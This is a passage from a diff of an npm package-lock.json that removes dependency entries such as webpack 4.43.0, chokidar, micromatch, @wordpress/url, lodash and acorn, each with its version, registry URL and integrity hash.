"dev": true, - "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "chokidar": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.4.1.tgz", - "integrity": "sha512-TQTJyr2stihpC4Sya9hs2Xh+O2wf+igjL36Y75xx2WdHuiICcn/XJza46Jwt0eT5hVpQOzo3FpY3cj3RVYLX0g==", - "dev": true, - "optional": true, - "requires": { - "anymatch": "~3.1.1", - "braces": "~3.0.2", - "fsevents": "~2.1.2", - "glob-parent": "~5.1.0", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.4.0" - }, - "dependencies": { - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "optional": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "optional": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "optional": true - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "optional": true, - "requires": { - "is-number": "^7.0.0" - } - } - } - }, - "emojis-list": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", - "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", - "dev": true - }, - "eslint-scope": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", - "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", - "dev": true, - "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" - } - }, - "events": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/events/-/events-3.1.0.tgz", - "integrity": "sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg==", - "dev": true - }, - "expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - } - }, - "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true - } - } - }, - "extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true - }, - "fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "fsevents": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.1.3.tgz", - "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", - "dev": true, - "optional": true - }, - "glob-parent": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", - "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", - "dev": true, - "optional": true, - "requires": { - "is-glob": "^4.0.1" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "optional": true, - "requires": { - "binary-extensions": "^2.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true, - "optional": true - }, - "is-glob": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", - "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", - "dev": true, - "optional": true, - "requires": { - "is-extglob": "^2.1.1" - } - }, - "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - }, - "json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", - "dev": true, - "requires": { - "minimist": "^1.2.0" - } - }, - "kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "dev": true - }, - "loader-runner": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz", - "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==", - "dev": true - }, - "loader-utils": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", - "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", - "dev": true, - "requires": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^1.0.1" - } - }, - "micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - } - }, - "mkdirp": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", - "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", - "dev": true, - "requires": { - "minimist": "^1.2.5" - }, - "dependencies": { - "minimist": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", - "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", - "dev": true - } - } - }, - "neo-async": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", - "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", - "dev": true - }, - "node-libs-browser": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz", - "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==", - "dev": true, - "requires": { - "assert": "^1.1.1", - "browserify-zlib": "^0.2.0", - "buffer": "^4.3.0", - "console-browserify": "^1.1.0", - "constants-browserify": "^1.0.0", - "crypto-browserify": "^3.11.0", - "domain-browser": "^1.1.1", - "events": "^3.0.0", - "https-browserify": "^1.0.0", - "os-browserify": "^0.3.0", - "path-browserify": "0.0.1", - "process": "^0.11.10", - "punycode": "^1.2.4", - "querystring-es3": "^0.2.0", - "readable-stream": "^2.3.3", - "stream-browserify": "^2.0.1", - "stream-http": "^2.7.2", - "string_decoder": "^1.0.0", - "timers-browserify": "^2.0.4", - "tty-browserify": "0.0.0", - "url": "^0.11.0", - "util": "^0.11.0", - "vm-browserify": "^1.0.1" - } - }, - "normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "optional": true - }, - "path-browserify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz", - "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==", - "dev": true - }, - "process-nextick-args": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true - }, - "readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - }, - "dependencies": { - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - }, - "readdirp": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.4.0.tgz", - "integrity": "sha512-0xe001vZBnJEK+uKcj8qOhyAKPzIT+gStxWr3LCB0DwcXR5NZJ3IaC+yGnHCYzB/S7ov3m3EEbZI2zeNvX+hGQ==", - "dev": true, - "optional": true, - "requires": { - "picomatch": "^2.2.1" - } - }, - "schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", - "dev": true, - "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - }, - "dependencies": { - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true - } - } - }, - "timers-browserify": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz", - "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==", - "dev": true, - "requires": { - "setimmediate": "^1.0.4" - } - }, - "util": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", - "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==", - "dev": true, - "requires": { - "inherits": "2.0.3" - } - }, - "vm-browserify": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz", - "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==", - "dev": true - }, - "watchpack": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.2.tgz", - "integrity": "sha512-ymVbbQP40MFTp+cNMvpyBpBtygHnPzPkHqoIwRRj/0B8KhqQwV8LaKjtbaxF2lK4vl8zN9wCxS46IFCU5K4W0g==", - "dev": true, - "requires": { - "chokidar": "^3.4.0", - "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0", - "watchpack-chokidar2": "^2.0.0" - } - }, - "webpack": { - "version": "4.43.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.43.0.tgz", - "integrity": "sha512-GW1LjnPipFW2Y78OOab8NJlCflB7EFskMih2AHdvjbpKMeDJqEgSx24cXXXiPS65+WSwVyxtDsJH6jGX2czy+g==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-module-context": "1.9.0", - "@webassemblyjs/wasm-edit": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0", - "acorn": "^6.4.1", - "ajv": "^6.10.2", - "ajv-keywords": "^3.4.1", - "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^4.1.0", - "eslint-scope": "^4.0.3", - "json-parse-better-errors": "^1.0.2", - "loader-runner": "^2.4.0", - "loader-utils": "^1.2.3", - "memory-fs": "^0.4.1", - "micromatch": "^3.1.10", - "mkdirp": "^0.5.3", - "neo-async": "^2.6.1", - "node-libs-browser": "^2.2.1", - "schema-utils": "^1.0.0", - "tapable": "^1.1.3", - "terser-webpack-plugin": "^1.4.3", - "watchpack": "^1.6.1", - "webpack-sources": "^1.4.1" - } - }, - "webpack-sources": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", - "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", - "dev": true, - "requires": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" - } - } - } - }, - "@wordpress/hooks": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@wordpress/hooks/-/hooks-2.0.5.tgz", - "integrity": "sha512-EcE7lm5p6f3qB6nJClY3LPejFpbjo66b6j4ihgLLgrWMKqs4lLPGS2OzK4KyP0O52cofKj+Tv/wBaAiYSufFcA==", - "dev": true, - "requires": { - "@babel/runtime": "^7.0.0" - } - }, - "@wordpress/url": { - "version": "2.15.0", - "resolved": "https://registry.npmjs.org/@wordpress/url/-/url-2.15.0.tgz", - "integrity": "sha512-nDGZslWZ6TMve3/09O9b2vGaCP2JXoe95uIrkChkw1DVH3tq/tCg1gwQsPXvhBIw5OmopzwlSEuwwp348hyaCA==", - "requires": { - "@babel/runtime": "^7.9.2", - "lodash": "^4.17.15", - "qs": "^6.5.2", - "react-native-url-polyfill": "^1.1.2" - }, - "dependencies": { - "@babel/runtime": { - "version": "7.10.2", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.10.2.tgz", - "integrity": "sha512-6sF3uQw2ivImfVIl62RZ7MXhO2tap69WeWK57vAaimT6AZbE4FbqjdEJIN1UqoD6wI6B+1n9UiagafH1sxjOtg==", - "requires": { - "regenerator-runtime": "^0.13.4" - } - }, - "lodash": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", - "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" - }, - "qs": { - "version": "6.9.4", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.4.tgz", - "integrity": "sha512-A1kFqHekCTM7cz0udomYUoYNWjBebHm/5wzU/XqrBRBNWectVH0QIiN+NEcZ0Dte5hvzHwbr8+XQmguPhJ6WdQ==" - }, - "regenerator-runtime": { - "version": "0.13.5", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", - "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" - } - } - }, - "@xtuc/ieee754": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", - "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", - "dev": true - }, - "@xtuc/long": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", - "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", - "dev": true - }, - "abbrev": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.0.tgz", - "integrity": "sha1-0FVMIlZjbi9W58LlrRg/hZQo2B8=", - "dev": true - }, - "acorn": { - "version": "7.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", - "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", - "dev": true - }, - "acorn-dynamic-import": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-3.0.0.tgz", - "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", - "dev": true, - "requires": { - "acorn": "^5.0.0" - }, - "dependencies": { - "acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", - "dev": true - } - } - }, - "acorn-jsx": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-3.0.1.tgz", - "integrity": "sha1-r9+UiPsezvyDSPb7IvRk4ypYs2s=", - "dev": true, - "requires": { - "acorn": "^3.0.4" - }, - "dependencies": { - "acorn": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-3.3.0.tgz", - "integrity": "sha1-ReN/s56No/JbruP/U2niu18iAXo=", - "dev": true - } - } - }, - "acorn-node": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.5.2.tgz", - "integrity": "sha512-krFKvw/d1F17AN3XZbybIUzEY4YEPNiGo05AfP3dBlfVKrMHETKpgjpuZkSF8qDNt9UkQcqj7am8yJLseklCMg==", - "dev": true, - "requires": { - "acorn": "^5.7.1", - "acorn-dynamic-import": "^3.0.0", - "xtend": "^4.0.1" - }, - "dependencies": { - "acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", 